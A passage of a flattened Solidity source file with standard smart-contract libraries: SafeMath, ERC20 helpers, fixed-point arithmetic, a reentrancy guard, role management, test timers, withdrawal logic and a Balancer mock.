remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library Arrays { /** * @dev Searches a sorted `array` and returns the first index that contains * a value greater or equal to `element`. If no such index exists (i.e. all * values in the array are strictly less than `element`), the array length is * returned. Time complexity O(log n). * * `array` is expected to be sorted in ascending order, and to contain no * repeated elements. */ function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) { if (array.length == 0) { return 0; } uint256 low = 0; uint256 high = array.length; while (low < high) { uint256 mid = Math.average(low, high); // Note that mid will always be strictly less than high (i.e. it will be a valid array index) // because Math.average rounds down (it does integer division with truncation). if (array[mid] > element) { high = mid; } else { low = mid + 1; } } // At this point `low` is the exclusive upper bound. We will return the inclusive upper bound. if (low > 0 && array[low - 1] == element) { return low - 1; } else { return low; } } } library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } contract Migrations { address public owner; uint256 public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint256 completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } library FixedPoint { using SafeMath for uint256; // Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5". // Can represent a value up to (2^256 - 1)/10^18 = ~10^59. 10^59 will be stored internally as uint256 10^77. uint256 private constant FP_SCALING_FACTOR = 10**18; struct Unsigned { uint256 rawValue; } /** * @notice Constructs an `Unsigned` from an unscaled uint, e.g., `b=5` gets stored internally as `5**18`. * @param a uint to convert into a FixedPoint. * @return the converted FixedPoint. */ function fromUnscaledUint(uint256 a) internal pure returns (Unsigned memory) { return Unsigned(a.mul(FP_SCALING_FACTOR)); } /** * @notice Whether `a` is equal to `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if equal, or False. */ function isEqual(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue == fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is equal to `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if equal, or False. */ function isEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue == b.rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if `a > b`, or False. */ function isGreaterThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue > b.rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if `a > b`, or False. */ function isGreaterThan(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue > fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a uint256. * @param b a FixedPoint. * @return True if `a > b`, or False. */ function isGreaterThan(uint256 a, Unsigned memory b) internal pure returns (bool) { return fromUnscaledUint(a).rawValue > b.rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue >= b.rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue >= fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a uint256. * @param b a FixedPoint. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) { return fromUnscaledUint(a).rawValue >= b.rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if `a < b`, or False. */ function isLessThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue < b.rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if `a < b`, or False. */ function isLessThan(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue < fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a uint256. * @param b a FixedPoint. * @return True if `a < b`, or False. */ function isLessThan(uint256 a, Unsigned memory b) internal pure returns (bool) { return fromUnscaledUint(a).rawValue < b.rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue <= b.rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue <= fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a uint256. * @param b a FixedPoint. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) { return fromUnscaledUint(a).rawValue <= b.rawValue; } /** * @notice The minimum of `a` and `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return the minimum of `a` and `b`. */ function min(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { return a.rawValue < b.rawValue ? a : b; } /** * @notice The maximum of `a` and `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return the maximum of `a` and `b`. */ function max(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { return a.rawValue > b.rawValue ? a : b; } /** * @notice Adds two `Unsigned`s, reverting on overflow. * @param a a FixedPoint. * @param b a FixedPoint. * @return the sum of `a` and `b`. */ function add(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { return Unsigned(a.rawValue.add(b.rawValue)); } /** * @notice Adds an `Unsigned` to an unscaled uint, reverting on overflow. * @param a a FixedPoint. * @param b a uint256. * @return the sum of `a` and `b`. */ function add(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { return add(a, fromUnscaledUint(b)); } /** * @notice Subtracts two `Unsigned`s, reverting on overflow. * @param a a FixedPoint. * @param b a FixedPoint. * @return the difference of `a` and `b`. */ function sub(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { return Unsigned(a.rawValue.sub(b.rawValue)); } /** * @notice Subtracts an unscaled uint256 from an `Unsigned`, reverting on overflow. * @param a a FixedPoint. * @param b a uint256. * @return the difference of `a` and `b`. */ function sub(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { return sub(a, fromUnscaledUint(b)); } /** * @notice Subtracts an `Unsigned` from an unscaled uint256, reverting on overflow. * @param a a uint256. * @param b a FixedPoint. * @return the difference of `a` and `b`. */ function sub(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) { return sub(fromUnscaledUint(a), b); } /** * @notice Multiplies two `Unsigned`s, reverting on overflow. * @dev This will "floor" the product. * @param a a FixedPoint. * @param b a FixedPoint. * @return the product of `a` and `b`. */ function mul(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { // There are two caveats with this computation: // 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is // stored internally as a uint256 ~10^59. // 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which // would round to 3, but this computation produces the result 2. // No need to use SafeMath because FP_SCALING_FACTOR != 0. return Unsigned(a.rawValue.mul(b.rawValue) / FP_SCALING_FACTOR); } /** * @notice Multiplies an `Unsigned` and an unscaled uint256, reverting on overflow. * @dev This will "floor" the product. * @param a a FixedPoint. * @param b a uint256. * @return the product of `a` and `b`. */ function mul(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { return Unsigned(a.rawValue.mul(b)); } /** * @notice Multiplies two `Unsigned`s and "ceil's" the product, reverting on overflow. * @param a a FixedPoint. * @param b a FixedPoint. * @return the product of `a` and `b`. */ function mulCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { uint256 mulRaw = a.rawValue.mul(b.rawValue); uint256 mulFloor = mulRaw / FP_SCALING_FACTOR; uint256 mod = mulRaw.mod(FP_SCALING_FACTOR); if (mod != 0) { return Unsigned(mulFloor.add(1)); } else { return Unsigned(mulFloor); } } /** * @notice Multiplies an `Unsigned` and an unscaled uint256 and "ceil's" the product, reverting on overflow. * @param a a FixedPoint. * @param b a FixedPoint. * @return the product of `a` and `b`. */ function mulCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { // Since b is an int, there is no risk of truncation and we can just mul it normally return Unsigned(a.rawValue.mul(b)); } /** * @notice Divides one `Unsigned` by an `Unsigned`, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a FixedPoint numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function div(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { // There are two caveats with this computation: // 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows. // 10^41 is stored internally as a uint256 10^59. // 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which // would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666. return Unsigned(a.rawValue.mul(FP_SCALING_FACTOR).div(b.rawValue)); } /** * @notice Divides one `Unsigned` by an unscaled uint256, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a FixedPoint numerator. * @param b a uint256 denominator. * @return the quotient of `a` divided by `b`. */ function div(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { return Unsigned(a.rawValue.div(b)); } /** * @notice Divides one unscaled uint256 by an `Unsigned`, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a uint256 numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function div(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) { return div(fromUnscaledUint(a), b); } /** * @notice Divides one `Unsigned` by an `Unsigned` and "ceil's" the quotient, reverting on overflow or division by 0. * @param a a FixedPoint numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function divCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { uint256 aScaled = a.rawValue.mul(FP_SCALING_FACTOR); uint256 divFloor = aScaled.div(b.rawValue); uint256 mod = aScaled.mod(b.rawValue); if (mod != 0) { return Unsigned(divFloor.add(1)); } else { return Unsigned(divFloor); } } /** * @notice Divides one `Unsigned` by an unscaled uint256 and "ceil's" the quotient, reverting on overflow or division by 0. * @param a a FixedPoint numerator. * @param b a uint256 denominator. * @return the quotient of `a` divided by `b`. */ function divCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { // Because it is possible that a quotient gets truncated, we can't just call "Unsigned(a.rawValue.div(b))" // similarly to mulCeil with a uint256 as the second parameter. Therefore we need to convert b into an Unsigned. // This creates the possibility of overflow if b is very large. return divCeil(a, fromUnscaledUint(b)); } /** * @notice Raises an `Unsigned` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`. * @dev This will "floor" the result. * @param a a FixedPoint numerator. * @param b a uint256 denominator. * @return output is `a` to the power of `b`. */ function pow(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory output) { output = fromUnscaledUint(1); for (uint256 i = 0; i < b; i = i.add(1)) { output = mul(output, a); } } } contract Lockable { bool private _notEntered; constructor() internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _preEntranceCheck(); _preEntranceSet(); _; _postEntranceReset(); } /** * @dev Designed to prevent a view-only method from being re-entered during a call to a `nonReentrant()` state-changing method. */ modifier nonReentrantView() { _preEntranceCheck(); _; } // Internal methods are used to avoid copying the require statement's bytecode to every `nonReentrant()` method. // On entry into a function, `_preEntranceCheck()` should always be called to check if the function is being re-entered. // Then, if the function modifies state, it should call `_postEntranceSet()`, perform its logic, and then call `_postEntranceReset()`. // View-only methods can simply call `_preEntranceCheck()` to make sure that it is not being re-entered. function _preEntranceCheck() internal view { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); } function _preEntranceSet() internal { // Any calls to nonReentrant after this point will fail _notEntered = false; } function _postEntranceReset() internal { // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } library Exclusive { struct RoleMembership { address member; } function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) { return roleMembership.member == memberToCheck; } function resetMember(RoleMembership storage roleMembership, address newMember) internal { require(newMember != address(0x0), "Cannot set an exclusive role to 0x0"); roleMembership.member = newMember; } function getMember(RoleMembership storage roleMembership) internal view returns (address) { return roleMembership.member; } function init(RoleMembership storage roleMembership, address initialMember) internal { resetMember(roleMembership, initialMember); } } library Shared { struct RoleMembership { mapping(address => bool) members; } function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) { return roleMembership.members[memberToCheck]; } function addMember(RoleMembership storage roleMembership, address memberToAdd) internal { require(memberToAdd != address(0x0), "Cannot add 0x0 to a shared role"); roleMembership.members[memberToAdd] = true; } function removeMember(RoleMembership storage roleMembership, address memberToRemove) internal { roleMembership.members[memberToRemove] = false; } function init(RoleMembership storage roleMembership, address[] memory initialMembers) internal { for (uint256 i = 0; i < initialMembers.length; i++) { addMember(roleMembership, initialMembers[i]); } } } abstract contract MultiRole { using Exclusive for Exclusive.RoleMembership; using Shared for Shared.RoleMembership; enum RoleType { Invalid, Exclusive, Shared } struct Role { uint256 managingRole; RoleType roleType; Exclusive.RoleMembership exclusiveRoleMembership; Shared.RoleMembership sharedRoleMembership; } mapping(uint256 => Role) private roles; event ResetExclusiveMember(uint256 indexed roleId, address indexed newMember, address indexed manager); event AddedSharedMember(uint256 indexed roleId, address indexed newMember, address indexed manager); event RemovedSharedMember(uint256 indexed roleId, address indexed oldMember, address indexed manager); /** * @notice Reverts unless the caller is a member of the specified roleId. */ modifier onlyRoleHolder(uint256 roleId) { require(holdsRole(roleId, msg.sender), "Sender does not hold required role"); _; } /** * @notice Reverts unless the caller is a member of the manager role for the specified roleId. */ modifier onlyRoleManager(uint256 roleId) { require(holdsRole(roles[roleId].managingRole, msg.sender), "Can only be called by a role manager"); _; } /** * @notice Reverts unless the roleId represents an initialized, exclusive roleId. */ modifier onlyExclusive(uint256 roleId) { require(roles[roleId].roleType == RoleType.Exclusive, "Must be called on an initialized Exclusive role"); _; } /** * @notice Reverts unless the roleId represents an initialized, shared roleId. */ modifier onlyShared(uint256 roleId) { require(roles[roleId].roleType == RoleType.Shared, "Must be called on an initialized Shared role"); _; } /** * @notice Whether `memberToCheck` is a member of roleId. * @dev Reverts if roleId does not correspond to an initialized role. * @param roleId the Role to check. * @param memberToCheck the address to check. * @return True if `memberToCheck` is a member of `roleId`. */ function holdsRole(uint256 roleId, address memberToCheck) public view returns (bool) { Role storage role = roles[roleId]; if (role.roleType == RoleType.Exclusive) { return role.exclusiveRoleMembership.isMember(memberToCheck); } else if (role.roleType == RoleType.Shared) { return role.sharedRoleMembership.isMember(memberToCheck); } revert("Invalid roleId"); } /** * @notice Changes the exclusive role holder of `roleId` to `newMember`. * @dev Reverts if the caller is not a member of the managing role for `roleId` or if `roleId` is not an * initialized, ExclusiveRole. * @param roleId the ExclusiveRole membership to modify. * @param newMember the new ExclusiveRole member. */ function resetMember(uint256 roleId, address newMember) public onlyExclusive(roleId) onlyRoleManager(roleId) { roles[roleId].exclusiveRoleMembership.resetMember(newMember); emit ResetExclusiveMember(roleId, newMember, msg.sender); } /** * @notice Gets the current holder of the exclusive role, `roleId`. * @dev Reverts if `roleId` does not represent an initialized, exclusive role. * @param roleId the ExclusiveRole membership to check. * @return the address of the current ExclusiveRole member. */ function getMember(uint256 roleId) public view onlyExclusive(roleId) returns (address) { return roles[roleId].exclusiveRoleMembership.getMember(); } /** * @notice Adds `newMember` to the shared role, `roleId`. * @dev Reverts if `roleId` does not represent an initialized, SharedRole or if the caller is not a member of the * managing role for `roleId`. * @param roleId the SharedRole membership to modify. * @param newMember the new SharedRole member. */ function addMember(uint256 roleId, address newMember) public onlyShared(roleId) onlyRoleManager(roleId) { roles[roleId].sharedRoleMembership.addMember(newMember); emit AddedSharedMember(roleId, newMember, msg.sender); } /** * @notice Removes `memberToRemove` from the shared role, `roleId`. * @dev Reverts if `roleId` does not represent an initialized, SharedRole or if the caller is not a member of the * managing role for `roleId`. * @param roleId the SharedRole membership to modify. * @param memberToRemove the current SharedRole member to remove. */ function removeMember(uint256 roleId, address memberToRemove) public onlyShared(roleId) onlyRoleManager(roleId) { roles[roleId].sharedRoleMembership.removeMember(memberToRemove); emit RemovedSharedMember(roleId, memberToRemove, msg.sender); } /** * @notice Removes caller from the role, `roleId`. * @dev Reverts if the caller is not a member of the role for `roleId` or if `roleId` is not an * initialized, SharedRole. * @param roleId the SharedRole membership to modify. */ function renounceMembership(uint256 roleId) public onlyShared(roleId) onlyRoleHolder(roleId) { roles[roleId].sharedRoleMembership.removeMember(msg.sender); emit RemovedSharedMember(roleId, msg.sender, msg.sender); } /** * @notice Reverts if `roleId` is not initialized. */ modifier onlyValidRole(uint256 roleId) { require(roles[roleId].roleType != RoleType.Invalid, "Attempted to use an invalid roleId"); _; } /** * @notice Reverts if `roleId` is initialized. */ modifier onlyInvalidRole(uint256 roleId) { require(roles[roleId].roleType == RoleType.Invalid, "Cannot use a pre-existing role"); _; } /** * @notice Internal method to initialize a shared role, `roleId`, which will be managed by `managingRoleId`. * `initialMembers` will be immediately added to the role. * @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already * initialized. */ function _createSharedRole( uint256 roleId, uint256 managingRoleId, address[] memory initialMembers ) internal onlyInvalidRole(roleId) { Role storage role = roles[roleId]; role.roleType = RoleType.Shared; role.managingRole = managingRoleId; role.sharedRoleMembership.init(initialMembers); require( roles[managingRoleId].roleType != RoleType.Invalid, "Attempted to use an invalid role to manage a shared role" ); } /** * @notice Internal method to initialize an exclusive role, `roleId`, which will be managed by `managingRoleId`. * `initialMember` will be immediately added to the role. * @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already * initialized. */ function _createExclusiveRole( uint256 roleId, uint256 managingRoleId, address initialMember ) internal onlyInvalidRole(roleId) { Role storage role = roles[roleId]; role.roleType = RoleType.Exclusive; role.managingRole = managingRoleId; role.exclusiveRoleMembership.init(initialMember); require( roles[managingRoleId].roleType != RoleType.Invalid, "Attempted to use an invalid role to manage an exclusive role" ); } } abstract contract Testable { // If the contract is being run on the test network, then `timerAddress` will be the 0x0 address. // Note: this variable should be set on construction and never modified. address public timerAddress; /** * @notice Constructs the Testable contract. Called by child contracts. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor(address _timerAddress) internal { timerAddress = _timerAddress; } /** * @notice Reverts if not running in test mode. */ modifier onlyIfTest { require(timerAddress != address(0x0)); _; } /** * @notice Sets the current time. * @dev Will revert if not running in test mode. * @param time timestamp to set current Testable time to. */ function setCurrentTime(uint256 time) external onlyIfTest { Timer(timerAddress).setCurrentTime(time); } /** * @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode. * Otherwise, it will return the block timestamp. * @return uint for the current Testable timestamp. */ function getCurrentTime() public view returns (uint256) { if (timerAddress != address(0x0)) { return Timer(timerAddress).getCurrentTime(); } else { return now; // solhint-disable-line not-rely-on-time } } } contract Timer { uint256 private currentTime; constructor() public { currentTime = now; // solhint-disable-line not-rely-on-time } /** * @notice Sets the current time. * @dev Will revert if not running in test mode. * @param time timestamp to set `currentTime` to. */ function setCurrentTime(uint256 time) external { currentTime = time; } /** * @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode. * Otherwise, it will return the block timestamp. * @return uint256 for the current Testable timestamp. */ function getCurrentTime() public view returns (uint256) { return currentTime; } } abstract contract Withdrawable is MultiRole { using SafeERC20 for IERC20; uint256 private roleId; /** * @notice Withdraws ETH from the contract. */ function withdraw(uint256 amount) external onlyRoleHolder(roleId) { Address.sendValue(msg.sender, amount); } /** * @notice Withdraws ERC20 tokens from the contract. * @param erc20Address ERC20 token to withdraw. * @param amount amount of tokens to withdraw. */ function withdrawErc20(address erc20Address, uint256 amount) external onlyRoleHolder(roleId) { IERC20 erc20 = IERC20(erc20Address); erc20.safeTransfer(msg.sender, amount); } /** * @notice Internal method that allows derived contracts to create a role for withdrawal. * @dev Either this method or `_setWithdrawRole` must be called by the derived class for this contract to function * properly. * @param newRoleId ID corresponding to role whose members can withdraw. * @param managingRoleId ID corresponding to managing role who can modify the withdrawable role's membership. * @param withdrawerAddress new manager of withdrawable role. */ function _createWithdrawRole( uint256 newRoleId, uint256 managingRoleId, address withdrawerAddress ) internal { roleId = newRoleId; _createExclusiveRole(newRoleId, managingRoleId, withdrawerAddress); } /** * @notice Internal method that allows derived contracts to choose the role for withdrawal. * @dev The role `setRoleId` must exist. Either this method or `_createWithdrawRole` must be * called by the derived class for this contract to function properly. * @param setRoleId ID corresponding to role whose members can withdraw. */ function _setWithdrawRole(uint256 setRoleId) internal onlyValidRole(setRoleId) { roleId = setRoleId; } } abstract contract Balancer { function getSpotPriceSansFee(address tokenIn, address tokenOut) external virtual view returns (uint256 spotPrice); } abstract contract ExpandedIERC20 is IERC20 { /** * @notice Burns a specific amount of the caller's tokens. * @dev Only burns the caller's tokens, so it is safe to leave this method permissionless. */ function burn(uint256 value) external virtual; /** * @notice Mints tokens and adds them to the balance of the `to` address. * @dev This method should be permissioned to only allow designated parties to mint tokens. */ function mint(address to, uint256 value) external virtual returns (bool); } abstract contract OneSplit { function getExpectedReturn( address fromToken, address destToken, uint256 amount, uint256 parts, uint256 flags // See constants in IOneSplit.sol ) public virtual view returns (uint256 returnAmount, uint256[] memory distribution); function swap( address fromToken, address destToken, uint256 amount, uint256 minReturn, uint256[] memory distribution, uint256 flags ) public virtual payable returns (uint256 returnAmount); } abstract contract Uniswap { // Called after every swap showing the new uniswap "price" for this token pair. event Sync(uint112 reserve0, uint112 reserve1); } contract BalancerMock is Balancer { uint256 price = 0; // these params arent used in the mock, but this is to maintain compatibility with balancer API function getSpotPriceSansFee(address tokenIn, address tokenOut) external virtual override view returns (uint256 spotPrice) { return price; } // this is not a balancer call, but for testing for changing 